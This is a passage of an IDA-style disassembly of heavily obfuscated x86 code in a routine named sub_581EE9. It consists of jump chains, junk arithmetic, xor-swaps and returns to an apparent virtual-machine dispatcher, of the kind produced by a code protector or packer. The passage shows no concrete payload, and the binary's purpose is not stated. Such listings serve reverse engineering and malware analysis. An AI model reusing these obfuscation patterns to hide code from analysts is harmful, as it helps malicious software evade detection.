eax, [esp-6ED2h+arg_6ECA] pop esp jmp loc_58C040 ; --------------------------------------------------------------------------- loc_587FAF: ; CODE XREF: sub_581EE9+8012j mov eax, esp add eax, 4 jmp loc_588B90 ; --------------------------------------------------------------------------- loc_587FBB: ; CODE XREF: sub_581EE9+ADE4j push edx jmp loc_58AC3F ; --------------------------------------------------------------------------- loc_587FC1: ; CODE XREF: sub_581EE9+70B7j add eax, 2 jmp loc_58F1BA ; --------------------------------------------------------------------------- loc_587FC9: ; CODE XREF: sub_581EE9+3E4Dj push [esp-6ED6h+arg_6ED2] jmp loc_59045E ; --------------------------------------------------------------------------- loc_587FD2: ; DATA XREF: sub_581EE9+3C77o mov cx, word ptr [esp-6ED2h+arg_6ECA] jmp loc_58B5B5 ; --------------------------------------------------------------------------- loc_587FDB: ; CODE XREF: sub_581EE9+A816j push edx mov edx, 4DEA5CC4h jmp loc_58A069 ; --------------------------------------------------------------------------- loc_587FE6: ; CODE XREF: sub_581EE9+A86Aj mov eax, 4 push esi mov esi, 774C71BFh add edi, esi jmp loc_58B94C ; --------------------------------------------------------------------------- loc_587FF8: ; CODE XREF: sub_581EE9+80A3j push esi jmp loc_58B60D ; --------------------------------------------------------------------------- loc_587FFE: ; CODE XREF: sub_581EE9+F314j xor ebp, [esp-6EC6h+arg_6EBE] pop esp push edx push ebx push edx push 7C1A1F22h jmp loc_590E0A ; --------------------------------------------------------------------------- loc_58800F: ; CODE XREF: sub_581EE9+BC5Fj pop ecx pop edi add edi, 4 add edi, 2 xor edi, [esp-6EC2h+arg_6EBA] xor [esp-6EC2h+arg_6EBA], edi xor edi, [esp-6EC2h+arg_6EBA] jmp loc_58D374 ; --------------------------------------------------------------------------- loc_58802B: ; CODE XREF: sub_581EE9+D858j shr ecx, 7 push 2C94h jmp loc_590659 ; --------------------------------------------------------------------------- loc_588038: ; CODE XREF: sub_581EE9+CA60j shr eax, 1 xor eax, 637E3B6Fh push ecx push esi mov esi, eax mov ecx, esi mov esi, [esp-6EB6h+arg_6EAC+2] add esp, 4 mov esi, ecx pop ecx push [esp-6EBEh+arg_6EB6] pop eax add esp, 4 jmp loc_5880D8 ; --------------------------------------------------------------------------- loc_58805D: ; CODE XREF: sub_581EE9+D945j add [esp-6EC2h+arg_6EBE], ebx jmp loc_58E917 ; --------------------------------------------------------------------------- loc_588066: ; DATA XREF: sub_581EE9+3CD7o lodsb jmp loc_58BACF ; --------------------------------------------------------------------------- loc_58806C: ; CODE XREF: sub_581EE9+F181j add esp, 4 push [esp-6EC6h+arg_6EBE] pop ebx jmp loc_58A7E3 ; --------------------------------------------------------------------------- loc_58807B: ; DATA XREF: sub_581EE9+3D67o lodsd jmp loc_5904BA ; --------------------------------------------------------------------------- loc_588081: ; CODE XREF: sub_581EE9+46ABj add [esp+4], esi pop esi pop eax push esi push 4 pop esi add eax, 496919AAh add eax, esi jmp loc_591289 ; --------------------------------------------------------------------------- loc_58809A: ; CODE XREF: sub_581EE9+58FBj sub edi, 3BC41F83h mov esi, [esp-6EC0h+arg_6EB6+2] add esp, 4 add edi, esi sub edi, 379779EEh pop esi add edi, 2 xchg edi, [esp-6EC8h+arg_6EBE+2] mov esp, [esp-6EC8h+arg_6EBE+2] sub byte ptr [esp-6EC8h+arg_6EBE+2], al pushf jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_5880C4: ; CODE XREF: sub_581EE9+8B73j sub esp, 4 mov [esp-6EC0h+arg_6EB6+2], esp push edi mov edi, 4 jmp loc_58A6D4 ; --------------------------------------------------------------------------- loc_5880D8: ; CODE XREF: sub_581EE9+616Fj sub eax, 6EE6076Ch add eax, esi jmp loc_58B221 ; --------------------------------------------------------------------------- loc_5880E4: ; CODE XREF: sub_581EE9+79E1j xor [esp-6EC2h+arg_6EBA], ebx xor ebx, [esp-6EC2h+arg_6EBA] pop esp mov [esp-6EC6h+arg_6EBE], esi mov esi, esp push eax push 63E465A5h pop eax jmp loc_58A474 ; --------------------------------------------------------------------------- loc_5880FC: ; CODE XREF: sub_581EE9+C1FFj push ebx mov ebx, 303F7127h shl ebx, 4 shr ebx, 7 jmp loc_588CD1 ; --------------------------------------------------------------------------- loc_58810D: ; CODE XREF: sub_581EE9+A4E5j neg ebp push esi jmp loc_589D52 ; --------------------------------------------------------------------------- loc_588115: ; CODE XREF: sub_581EE9+EE25j xor eax, ecx xor eax, ebp xor ebp, eax xor eax, ebp xor ebp, edi jmp loc_586CA7 ; --------------------------------------------------------------------------- loc_588124: ; CODE XREF: sub_581EE9+5AC6j xchg ebp, [esp-6EFAh+arg_6EF0+2] jmp loc_590530 ; --------------------------------------------------------------------------- loc_58812C: ; CODE XREF: sub_581EE9+5E98j mov bx, word ptr [esp-6ED8h+arg_6ECE+2] add esp, 2 not bh push cx mov cl, 86h add bh, cl pop cx add al, 95h sub al, bh sub al, 95h jmp loc_58CB86 ; --------------------------------------------------------------------------- loc_588148: ; CODE XREF: sub_581EE9+9C00j mov [esp-6EDCh+arg_6ED2+2], ebp mov ebp, esp push edx mov edx, 16830ABCh xor edx, 16830AB8h add ebp, edx mov edx, [esp-6ED8h+arg_6ECE+2] add esp, 4 add ebp, 4 xor ebp, [esp-6EDCh+arg_6ED2+2] xor [esp-6EDCh+arg_6ED2+2], ebp xor ebp, [esp-6EDCh+arg_6ED2+2] pop esp loc_588171: ; CODE XREF: sub_581EE9+5EBFj ; sub_581EE9+90A2j push [esp-6EE0h+arg_6ED6+2] mov ebx, [esp-6EDCh+arg_6ED2+2] add esp, 4 push eax mov eax, esp push ebx jmp loc_58E5E3 ; --------------------------------------------------------------------------- loc_588183: ; CODE XREF: sub_581EE9+7467j pop eax push ecx mov ecx, 35DC02EBh add ecx, 1 jmp loc_58EAFA ; --------------------------------------------------------------------------- loc_588195: ; DATA XREF: sub_581EE9+3C47o mov ax, word ptr [esp-6ED8h+arg_6ECE+2] sub esp, 4 mov [esp-6ED4h+arg_6ECA+2], ebx mov ebx, esp add ebx, 4 push esi mov esi, 2 add ebx, 3854A36h add ebx, 58B27202h sub ebx, 0D500973h add ebx, esi add ebx, 0D500973h push eax mov eax, 58B27202h sub ebx, 6E3E393Bh sub ebx, eax add ebx, 6E3E393Bh pop eax sub ebx, 3854A36h mov esi, [esp-6ED0h+arg_6EC6+2] add esp, 4 xor ebx, [esp-6ED4h+arg_6ECA+2] xor [esp-6ED4h+arg_6ECA+2], ebx xor ebx, [esp-6ED4h+arg_6ECA+2] mov esp, [esp-6ED4h+arg_6ECA+2] jmp loc_58AF90 ; --------------------------------------------------------------------------- loc_5881F9: ; CODE XREF: sub_581EE9+D6AEj add esp, 4 add ebp, 4 xchg ebp, [esp-6ED8h+arg_6ECE+2] mov esp, [esp-6ED8h+arg_6ECE+2] add [esp-6ED8h+arg_6ECE+2], eax pushf jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_58820E: ; CODE XREF: sub_581EE9+B427j mov ebx, 18540DF8h sub eax, 32A57799h push edx mov edx, 1518004Ah neg edx jmp loc_585F3E ; --------------------------------------------------------------------------- loc_588225: ; CODE XREF: sub_581EE9+895Aj add ebp, 57B07126h jmp loc_58A5DB ; --------------------------------------------------------------------------- loc_588230: ; CODE XREF: sub_581EE9+F6FFj inc ecx jmp loc_58E17B ; --------------------------------------------------------------------------- loc_588236: ; CODE XREF: sub_581EE9+9D88j pop esp mov [esp-6ED4h+arg_6ECA+2], edx mov edx, esp add edx, 4 add edx, 4 push edx push [esp-6ED0h+arg_6ECA+2] pop edx pop [esp-6ED0h+arg_6EC6+2] mov esp, [esp-6ED4h+arg_6ECA+2] jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_588259: ; CODE XREF: sub_581EE9+6596j push 15D4h mov [esp-6ED0h+arg_6EC6+2], esi mov esi, 5FDE228Ah jmp loc_58AB69 ; --------------------------------------------------------------------------- loc_58826B: ; CODE XREF: sub_581EE9+7E6Aj push 75674D23h jmp loc_588E12 ; --------------------------------------------------------------------------- loc_588275: ; CODE XREF: sub_581EE9+B9F3j mov ebx, 7D206D3Eh dec ebx jmp loc_58C4E7 ; --------------------------------------------------------------------------- loc_588280: ; CODE XREF: sub_581EE9+71EAj push edx jmp loc_58C560 ; --------------------------------------------------------------------------- loc_588286: ; CODE XREF: sub_581EE9+E69Aj pop esp jmp loc_5915AB ; --------------------------------------------------------------------------- loc_58828C: ; CODE XREF: sub_581EE9+729Aj or ebp, 1A45062h not ebp jmp loc_58AA8C ; --------------------------------------------------------------------------- loc_588299: ; CODE XREF: sub_581EE9+B2D7j add [esp-6ECCh+arg_6EC6+2], ebp pop ebp jmp loc_588889 ; --------------------------------------------------------------------------- loc_5882A3: ; CODE XREF: sub_581EE9+9CC7j pop ebp add eax, ebx sub eax, 47E942E6h push edx jmp loc_587309 ; --------------------------------------------------------------------------- loc_5882B1: ; CODE XREF: sub_581EE9+702Dj add bl, dl pop edx sub bl, 0D4h jmp loc_58F065 ; --------------------------------------------------------------------------- loc_5882BC: ; CODE XREF: sub_581EE9+8B57j mov ebp, [esp-6ED4h+arg_6ECA+2] add esp, 4 push [esp-6ED8h+arg_6ECE+2] pop eax add esp, 4 push ebx jmp loc_58DB08 ; --------------------------------------------------------------------------- loc_5882D2: ; CODE XREF: sub_581EE9+92C1j or esi, ebp jmp loc_58F816 ; --------------------------------------------------------------------------- loc_5882D9: ; CODE XREF: sub_581EE9+6E5Ej push 70D5h mov [esp-6ED4h+arg_6ECA+2], edx mov edx, 51865D68h and edx, 0DC02045h add edx, 691924F3h jmp loc_589338 ; --------------------------------------------------------------------------- loc_5882F7: ; CODE XREF: sub_581EE9+9C1Aj mov bh, ah pop eax sub dl, bh pop bx add al, 22h add al, dl sub al, 22h mov edx, [esp-6EDAh+arg_6ED2] add esp, 4 push edx mov dh, 64h add dh, 0FFh sub dh, 0DCh jmp loc_58E6DE ; --------------------------------------------------------------------------- loc_588318: ; CODE XREF: sub_581EE9+E8FDj or ebx, edi jmp loc_58CC54 ; --------------------------------------------------------------------------- loc_58831F: ; CODE XREF: sub_581EE9+6C8Fj pop ecx jmp loc_590C2E ; --------------------------------------------------------------------------- loc_588325: ; CODE XREF: sub_581EE9+90ECj dec eax push edi mov edi, 596D6A49h not edi jmp loc_58E15D ; --------------------------------------------------------------------------- loc_588333: ; CODE XREF: sub_581EE9+3FD1j pop ebp jmp loc_58A2E3 ; --------------------------------------------------------------------------- loc_588339: ; CODE XREF: sub_581EE9+8E46j pop edx dec esi jmp loc_58A863 ; --------------------------------------------------------------------------- loc_588340: ; CODE XREF: sub_581EE9+3E58j sub edi, 0D10834D0h add esi, edi mov edi, [esp-6ED6h+arg_6ECE] add esp, 4 push ebp jmp loc_5896B0 ; --------------------------------------------------------------------------- loc_588357: ; CODE XREF: sub_581EE9+6022j xchg edx, [esp+0] jmp loc_58FB40 ; --------------------------------------------------------------------------- loc_58835F: ; DATA XREF: sub_581EE9+3C2Fo mov cx, [esp+0] push 7A0Ah mov [esp-6EB4h+arg_6EAC], edi mov edi, esp push ebp push 4C3A1F33h jmp loc_58A107 ; --------------------------------------------------------------------------- loc_588378: ; CODE XREF: sub_581EE9+E3F6j push 5C01h mov [esp-6EA8h+arg_6E9E+2], ebp push esp mov ebp, [esp] add esp, 4 push 7F28h mov [esp], edi mov edi, 4 jmp loc_5916E3 ; --------------------------------------------------------------------------- loc_58839C: ; CODE XREF: sub_581EE9+E9DEj pop dword ptr [esp] pop esp push 7745h mov [esp-6EA8h+arg_6E9E+2], edx mov edx, esp jmp loc_591AF1 ; --------------------------------------------------------------------------- loc_5883AF: ; CODE XREF: sub_581EE9+C2DDj not ah add ah, 1 jmp loc_58F0CE ; --------------------------------------------------------------------------- loc_5883B9: ; CODE XREF: sub_581EE9+88F5j mov ebx, 23271AFDh push edi mov edi, 4D7D5203h shl edi, 5 xor edi, 696D6714h or edi, 67222230h inc edi add edi, 0FFFFFFFFh jmp loc_590FEE ; --------------------------------------------------------------------------- loc_5883DC: ; DATA XREF: sub_581EE9+3C8Fo mov ax, word ptr [esp-6EA4h+arg_6E9A+2] push ebx push esp mov ebx, [esp-6E9Ch+arg_6E92+2] push ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_59069E ; --------------------------------------------------------------------------- loc_5883F6: ; CODE XREF: sub_581EE9+F5C5j push esi mov esi, esp add esi, 4 push ebp mov ebp, 4BD02C96h sub ebp, 22300AA5h shr ebp, 4 shl ebp, 7 jmp loc_58C6D2 ; --------------------------------------------------------------------------- loc_588416: ; CODE XREF: sub_581EE9+FD5Bj dec dh jmp loc_587241 ; --------------------------------------------------------------------------- loc_58841D: ; DATA XREF: sub_581EE9+3BE3o lodsb jmp loc_588771 ; --------------------------------------------------------------------------- loc_588423: ; CODE XREF: sub_581EE9+7C7Cj xor eax, 5D3402DAh mov esi, [esp+0] add esp, 4 push 168Bh mov [esp+0], ebx jmp loc_590E3E ; --------------------------------------------------------------------------- loc_58843B: ; CODE XREF: sub_581EE9+4F7Dj add ecx, ebx jmp loc_58BCB5 ; --------------------------------------------------------------------------- mov ax, word ptr [esp-6EB4h+arg_6EAC] jmp loc_589188 ; --------------------------------------------------------------------------- loc_58844B: ; CODE XREF: sub_581EE9+FBE4j add edi, 4 push edi push [esp-6EB0h+arg_6EAC] pop edi pop [esp-6EB0h+arg_6EA8] pop esp loc_588458: ; CODE XREF: sub_581EE9+FA18j push 3C49h mov [esp-6EB4h+arg_6EAC], esi push ebx push eax mov eax, 0C8545C7h xor [esp-6EACh+arg_6EA8], eax jmp loc_58F66D ; --------------------------------------------------------------------------- loc_588470: ; CODE XREF: sub_581EE9+D3D7j add ebx, eax pop eax push ecx mov ecx, 5DC6214h jmp loc_588C8E ; --------------------------------------------------------------------------- loc_58847E: ; CODE XREF: sub_581EE9+984Dj pop ecx jmp loc_588259 ; --------------------------------------------------------------------------- loc_588484: ; CODE XREF: sub_581EE9+8291j sub bh, ah pop eax add al, 8 sub al, bh sub al, 8 mov ebx, [esp-6EB4h+arg_6EAC] jmp loc_5886A2 ; --------------------------------------------------------------------------- loc_588495: ; CODE XREF: sub_581EE9+5104j pop esp push ecx jmp loc_5900E2 ; --------------------------------------------------------------------------- loc_58849C: ; CODE XREF: sub_581EE9+8412j sub esp, 4 mov [esp-6EF6h+arg_6EEC+2], esp add [esp-6EF6h+arg_6EEC+2], 4 jmp loc_58DA27 ; --------------------------------------------------------------------------- loc_5884AB: ; CODE XREF: sub_581EE9+3F25j xor ecx, [esp-6EDCh+arg_6ED2+2] xor [esp-6EDCh+arg_6ED2+2], ecx xor ecx, [esp-6EDCh+arg_6ED2+2] jmp loc_590BD7 ; --------------------------------------------------------------------------- loc_5884B9: ; CODE XREF: sub_581EE9+8852j pop ecx push edx mov dl, 85h sub dl, 3Ah sub bl, dl pop edx add bl, al jmp loc_58E9E4 ; --------------------------------------------------------------------------- loc_5884CA: ; CODE XREF: sub_581EE9+3E60j mov dh, 0EDh jmp loc_591202 ; --------------------------------------------------------------------------- loc_5884D1: ; CODE XREF: sub_581EE9+CA55j mov [esp-6ED4h+arg_6ECA+2], ecx mov ecx, esp push edi jmp loc_58C920 ; --------------------------------------------------------------------------- loc_5884DC: ; CODE XREF: sub_581EE9+F676j add al, bh jmp loc_58DBFE ; --------------------------------------------------------------------------- loc_5884E3: ; CODE XREF: sub_581EE9+CF21j mov ecx, 4DD944C4h sub [esp-6ED0h+arg_6ECA+2], ecx push [esp-6ED0h+arg_6EC6+2] pop ecx add esp, 4 jmp loc_588C33 ; --------------------------------------------------------------------------- loc_5884FB: ; CODE XREF: sub_581EE9+DE0Ej mov [esp-6ED4h+arg_6ECA+2], eax mov eax, esp push 0A90h jmp loc_586010 ; --------------------------------------------------------------------------- loc_58850A: ; CODE XREF: sub_581EE9+815Dj pop ecx mov dx, word ptr [esp-6ED4h+arg_6ECA+2] jmp loc_5890D8 ; --------------------------------------------------------------------------- loc_588514: ; CODE XREF: sub_581EE9+F060j add esp, 4 and eax, edi jmp loc_587F10 ; --------------------------------------------------------------------------- loc_58851E: ; CODE XREF: sub_581EE9+4773j sub al, 3Dh add al, 16h add al, bl sub al, 16h add al, 3Dh mov ebx, [esp-6F02h+arg_6EFA] push ebx mov ebx, esp push ecx jmp loc_5901C9 ; --------------------------------------------------------------------------- loc_588534: ; CODE XREF: sub_581EE9+E397j xchg edx, [esp-6EFAh+arg_6EF0+2] pop esp sub esp, 4 mov [esp-6EFAh+arg_6EF0+2], ebp push 1 push [esp-6EF6h+arg_6EEC+2] pop ebp push edi jmp loc_586B22 ; --------------------------------------------------------------------------- loc_588550: ; CODE XREF: sub_581EE9+DF60j add ecx, 2 xchg ecx, [esp-6EF2h+arg_6EE8+2] pop esp sub esp, 4 mov [esp-6EF2h+arg_6EE8+2], edx mov dl, 9Bh add al, dl pop edx jmp loc_586E45 ; --------------------------------------------------------------------------- loc_58856A: ; CODE XREF: sub_581EE9+DA71j sub ebp, 4 jmp loc_58D297 ; --------------------------------------------------------------------------- loc_588575: ; CODE XREF: sub_581EE9+B989j mov [esp-6EF6h+arg_6EEC+2], esp add [esp-6EF6h+arg_6EEC+2], 4 pop edx push ebx mov ebx, 625D7E9Dh neg ebx jmp loc_588920 ; --------------------------------------------------------------------------- loc_58858A: ; CODE XREF: sub_581EE9+46DAj sub edx, 1D034B8Dh push ebx mov ebx, 68E00FE5h sub edx, ebx push [esp-6ED6h+arg_6ECE] pop ebx jmp loc_59098E ; --------------------------------------------------------------------------- loc_5885A1: ; CODE XREF: sub_581EE9+4319j mov eax, 20h add eax, edi xor dword ptr [eax], 2A981D88h mov eax, [esp-6EC2h+arg_6EBA] add esp, 4 push 4AB6h jmp loc_586719 ; --------------------------------------------------------------------------- loc_5885C1: ; CODE XREF: sub_581EE9+EC05j pop [esp-6EC2h+arg_6EBA] pop esp movzx ecx, al push esi jmp loc_58E328 ; --------------------------------------------------------------------------- loc_5885CE: ; CODE XREF: sub_581EE9+B184j mov edi, [esp-6EC6h+arg_6EBE] add esp, 4 add esp, 4 jmp loc_58FF65 ; --------------------------------------------------------------------------- loc_5885DC: ; CODE XREF: sub_581EE9+C082j dec byte ptr [esp-6ECEh+arg_6EC6] pushf jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_5885E5: ; CODE XREF: sub_581EE9+BD10j mov edi, [esp-6ECAh+arg_6EC2] add esp, 4 jmp loc_58CDBA ; --------------------------------------------------------------------------- loc_5885F0: ; CODE XREF: sub_581EE9+C5B3j xor eax, 7F7DC918h push eax pop dword ptr [edx+38h] push [esp-6ECEh+arg_6EC6] pop eax push edx jmp loc_590A1D ; --------------------------------------------------------------------------- loc_588603: ; CODE XREF: sub_581EE9+E67Bj mov edx, [esp-6ECAh+arg_6EC2] push ebp mov ebp, esp add ebp, 4 push ecx mov ecx, 4 add ebp, ecx pop ecx xchg ebp, [esp-6EC6h+arg_6EBE] pop esp jmp loc_58D173 ; --------------------------------------------------------------------------- loc_588621: ; CODE XREF: sub_581EE9+CB97j mov [esp-6ECAh+arg_6EC2], esi mov esi, 40h push esi xor [esp-6EC6h+arg_6EBE], 6683A51h pop edx xor edx, 6683A51h mov esi, [esp-6ECAh+arg_6EC2] push 6F3Bh mov [esp-6EC6h+arg_6EBE], edi push esp pop edi add edi, 4 add edi, 4 xchg edi, [esp-6EC6h+arg_6EBE] pop esp and ecx, edx jmp loc_58D2D7 ; --------------------------------------------------------------------------- loc_58865C: ; CODE XREF: sub_581EE9+DF2Dj pop edx jmp loc_590A89 ; --------------------------------------------------------------------------- loc_588662: ; CODE XREF: sub_581EE9+565Cj push esi mov esi, 32D4433Bh jmp loc_58700D ; --------------------------------------------------------------------------- loc_58866D: ; CODE XREF: sub_581EE9+57EDj add esp, 4 mov esi, edi push [esp-6EE4h+arg_6EDC] pop edi add esp, 4 jmp loc_58ACEA ; --------------------------------------------------------------------------- loc_588684: ; CODE XREF: sub_581EE9+A0FDj sub ecx, edx xchg ecx, edx jmp loc_585F18 ; --------------------------------------------------------------------------- loc_58868D: ; CODE XREF: sub_581EE9+ED66j or edi, 1AC004D9h shr edi, 7 jmp loc_58E782 ; --------------------------------------------------------------------------- loc_58869B: ; CODE XREF: sub_581EE9+BDB3j push dword ptr [eax] jmp loc_585CC3 ; --------------------------------------------------------------------------- loc_5886A2: ; CODE XREF: sub_581EE9+65A7j add esp, 4 push ebx jmp loc_58A7AD ; --------------------------------------------------------------------------- loc_5886AB: ; CODE XREF: sub_581EE9+AB42j add esp, 4 push ebp mov ebp, esp add ebp, 4 push esi mov esi, 4 add ebp, esi pop esi xchg ebp, [esp-6EB4h+arg_6EAC] jmp loc_585DE6 ; --------------------------------------------------------------------------- loc_5886C8: ; CODE XREF: sub_581EE9+8009j add esi, 2 xor esi, [esp-6EB4h+arg_6EAC] xor [esp-6EB4h+arg_6EAC], esi xor esi, [esp-6EB4h+arg_6EAC] mov esp, [esp-6EB4h+arg_6EAC] mov ax, word ptr [esp-6EB4h+arg_6EAC] push 6344h mov [esp-6EB0h+arg_6EA8], esi mov esi, esp add esi, 4 push ebp push edi jmp loc_58B6B9 ; --------------------------------------------------------------------------- loc_5886F5: ; CODE XREF: sub_581EE9+84F3j pop ecx jmp loc_590E8F ; --------------------------------------------------------------------------- loc_5886FB: ; CODE XREF: sub_581EE9+EA88j sub eax, 54C737E5h sub eax, edx jmp loc_58A6AC ; --------------------------------------------------------------------------- loc_588707: ; CODE XREF: sub_581EE9+BD23j push esi jmp loc_590CE0 ; --------------------------------------------------------------------------- mov cx, word ptr [esp-6EA8h+arg_6E9E+2] push ecx mov ecx, esp push 74B8h mov [esp-6EA0h+arg_6E96+2], ebp mov ebp, 4 sub ecx, 27A842ADh jmp loc_587938 ; --------------------------------------------------------------------------- loc_58872C: ; CODE XREF: sub_581EE9+99F9j add ecx, 0CC0B8B28h sub esi, 1CCC4D1Dh sub esi, ecx add esi, 1CCC4D1Dh pop ecx jmp loc_586D1B ; --------------------------------------------------------------------------- loc_588746: ; CODE XREF: sub_581EE9+53BEj shr edx, 4 jmp loc_58E967 ; --------------------------------------------------------------------------- loc_58874E: ; CODE XREF: sub_581EE9+A713j push [esp-6EC8h+arg_6EBE+2] jmp loc_58AE91 ; --------------------------------------------------------------------------- mov ax, word ptr [esp-6EC4h+arg_6EBA+2] jmp loc_590AB5 ; --------------------------------------------------------------------------- loc_58875F: ; CODE XREF: sub_581EE9+747Cj push edi jmp loc_5874CB ; --------------------------------------------------------------------------- loc_588765: ; CODE XREF: sub_581EE9+FC42j pop esi jmp loc_58AC94 ; --------------------------------------------------------------------------- loc_58876B: ; DATA XREF: sub_581EE9+3BBBo push edx jmp loc_58FDAC ; --------------------------------------------------------------------------- loc_588771: ; CODE XREF: sub_581EE9+6535j sub esp, 2 mov word ptr [esp-6E8Ch+arg_6E84], cx mov cl, 0D9h push cx mov cl, 0B4h sub al, cl jmp loc_58AD34 ; --------------------------------------------------------------------------- loc_588788: ; CODE XREF: sub_581EE9+D8C8j push esi mov esi, 177270D1h shr esi, 5 add esi, 605347DAh shr esi, 6 shr esi, 2 and esi, 3F540851h sub esi, 0D3BE0229h or ebx, esi jmp loc_58994F ; --------------------------------------------------------------------------- loc_5887B0: ; CODE XREF: sub_581EE9+4050j sub ecx, 498F54C6h add ecx, 14532A54h pop ebp add ecx, 4 sub esp, 4 mov [esp-6ECCh+arg_6EC2+2], ecx jmp loc_58CA4F ; --------------------------------------------------------------------------- loc_5887CB: ; CODE XREF: sub_581EE9+ACF2j mov eax, 1B9543E5h xor edi, eax pop eax jmp loc_58EC6A ; --------------------------------------------------------------------------- loc_5887D8: ; CODE XREF: sub_581EE9+74A3j mov [esp-6ED0h+arg_6EC6+2], edx jmp loc_589C3A ; --------------------------------------------------------------------------- loc_5887E0: ; CODE XREF: sub_581EE9+A617j sub ebp, 0B2A4ACDFh xor eax, ebp jmp loc_59037C ; --------------------------------------------------------------------------- loc_5887ED: ; CODE XREF: sub_581EE9+91C9j xor bh, 13h dec bh add bh, 0C0h xor bh, 3Eh push eax mov al, 94h xor al, 5Ch xor al, 51h add al, 1Fh add al, 0E6h add bh, al pop eax jmp loc_586487 ; --------------------------------------------------------------------------- loc_58880B: ; CODE XREF: sub_581EE9+C5DCj shr ecx, 2 jmp loc_58D006 ; --------------------------------------------------------------------------- loc_588813: ; CODE XREF: sub_581EE9+A03Cj push 147Ah jmp loc_58A122 ; --------------------------------------------------------------------------- loc_58881D: ; CODE XREF: sub_581EE9+83ABj add bl, dl mov dx, word ptr [esp-6ECCh+arg_6EC2+2] add esp, 2 add bl, 9Dh jmp loc_5879B4 ; --------------------------------------------------------------------------- loc_588831: ; CODE XREF: sub_581EE9+9663j push eax mov eax, esp add eax, 4 jmp loc_58FCFC ; --------------------------------------------------------------------------- loc_58883E: ; CODE XREF: sub_581EE9+563Aj add ebp, 8140CC46h sub edi, ebp jmp loc_58E683 ; --------------------------------------------------------------------------- loc_58884B: ; CODE XREF: sub_581EE9+5541j mov [esp-6EB6h+arg_6EAC+2], edx mov edx, 300F05ECh jmp loc_589391 ; --------------------------------------------------------------------------- loc_588858: ; CODE XREF: sub_581EE9+E095j add ebp, 37BF479Ah sub ebp, edx sub ebp, 37BF479Ah jmp loc_58A074 ; --------------------------------------------------------------------------- loc_58886B: ; CODE XREF: sub_581EE9+E403j pop ecx pop edi jmp loc_5876C1 ; --------------------------------------------------------------------------- loc_588872: ; CODE XREF: sub_581EE9+DE67j push 47DF311Ah push [esp-6EBAh+arg_6EB2] mov eax, [esp-6EB6h+arg_6EAC+2] add esp, 4 push ebx jmp loc_58E7D3 ; --------------------------------------------------------------------------- loc_588889: ; CODE XREF: sub_581EE9+63B5j push ebx mov ebx, 4AD6097Fh sub [esp-6ECCh+arg_6EC6+2], ebx pop ebx add [esp-6ED0h+arg_6EC6+2], eax push 5F3Dh mov [esp-6ECCh+arg_6EC2+2], edi mov edi, 4AD6097Fh jmp loc_5895A5 ; --------------------------------------------------------------------------- loc_5888A9: ; CODE XREF: sub_581EE9+D2DDj xor word ptr [esp-6ECCh+arg_6EC2+2], ax pushf jmp loc_58C04E ; --------------------------------------------------------------------------- loc_5888B3: ; CODE XREF: sub_581EE9+7D5Cj sub esp, 4 mov [esp-6EC4h+arg_6EBA+2], esi mov esi, 39532385h push edx jmp loc_58645A ; --------------------------------------------------------------------------- loc_5888C7: ; CODE XREF: sub_581EE9+A145j pop edx push ebx jmp loc_591A13 ; --------------------------------------------------------------------------- loc_5888CE: ; CODE XREF: sub_581EE9+E6D2j xor [esp-6EC0h+arg_6EB6+2], esi xor esi, [esp-6EC0h+arg_6EB6+2] pop esp jmp loc_586C63 ; --------------------------------------------------------------------------- loc_5888DA: ; CODE XREF: sub_581EE9+D5D3j mov [esp-6EC4h+arg_6EBA+2], ecx push esi jmp loc_58EE3D ; --------------------------------------------------------------------------- loc_5888E3: ; CODE XREF: sub_581EE9+B407j sub al, 0E3h push cx mov ch, 0Fh sub al, ch jmp loc_589678 ; --------------------------------------------------------------------------- loc_5888F0: ; CODE XREF: sub_581EE9+EB14j inc edi shr edi, 6 xor edi, 4B52F5F2h and esi, edi jmp loc_58BA11 ; --------------------------------------------------------------------------- loc_588901: ; CODE XREF: sub_581EE9+E734j mov esi, 4 sub edx, 628C373Eh add edx, esi push esi mov esi, 628C373Eh add edx, esi pop esi mov esi, [esp-6EBEh+arg_6EB6] push eax jmp loc_58DEFE ; --------------------------------------------------------------------------- loc_588920: ; CODE XREF: sub_581EE9+669Cj and ebx, 55151985h shl ebx, 6 xor ebx, 40004044h add edx, ebx pop ebx push 4C09h mov [esp-6EF6h+arg_6EEC+2], edi mov edi, 4 add edx, 69951355h add edx, edi sub edx, 69951355h push [esp-6EF6h+arg_6EEC+2] pop edi add esp, 4 xor edx, [esp-6EFAh+arg_6EF0+2] xor [esp-6EFAh+arg_6EF0+2], edx xor edx, [esp-6EFAh+arg_6EF0+2] jmp loc_58C2C4 ; --------------------------------------------------------------------------- loc_588962: ; CODE XREF: sub_581EE9+BBA1j mov esi, 384A5986h mov ebp, esi pop esi xchg esi, ebp jmp loc_5866D2 ; --------------------------------------------------------------------------- loc_588971: ; CODE XREF: sub_581EE9+EC35j mov [esp-6EFEh+arg_6EF6], edx jmp loc_590197 ; --------------------------------------------------------------------------- loc_588979: ; CODE XREF: sub_581EE9+F096j neg edx xor edx, 0BD0FFE0Ch add ebp, edx mov edx, [esp-6EFEh+arg_6EF6] add esp, 4 sub ebp, esi sub ebp, 75647556h add ebp, 3EAF2574h push [esp-6F02h+arg_6EFA] pop esi add esp, 4 not ebp jmp loc_58DDF0 ; --------------------------------------------------------------------------- loc_5889A8: ; CODE XREF: sub_581EE9+F665j or eax, eax jz loc_590207 push 4458h mov [esp-6F02h+arg_6EFA], ecx mov ecx, 4E251831h push ecx not [esp-6EFEh+arg_6EF6] pop ecx push eax mov eax, 33DC7326h xor ecx, eax pop eax not ecx jmp loc_58AA7B ; --------------------------------------------------------------------------- loc_5889D2: ; CODE XREF: sub_581EE9+8D23j mov eax, 501415A4h xor ebx, eax pop eax add ebp, ebx jmp loc_590081 ; --------------------------------------------------------------------------- loc_5889E1: ; CODE XREF: sub_581EE9+3EACj add edi, ecx sub edi, 7DA64E9Dh pop ecx jmp loc_586280 ; --------------------------------------------------------------------------- loc_5889EF: ; CODE XREF: sub_581EE9+761Bj pop ecx jmp loc_58EBD0 ; --------------------------------------------------------------------------- loc_5889F5: ; CODE XREF: sub_581EE9+CDB4j and ebp, 662534E5h shr ebp, 2 neg ebp xor ebp, 786365BAh sub ebp, 6F76018Eh add esi, ebp jmp loc_58E8FA ; --------------------------------------------------------------------------- loc_588A13: ; CODE XREF: sub_581EE9+919Cj add ecx, 4 xchg ecx, [esp-6EE0h+arg_6ED6+2] pop 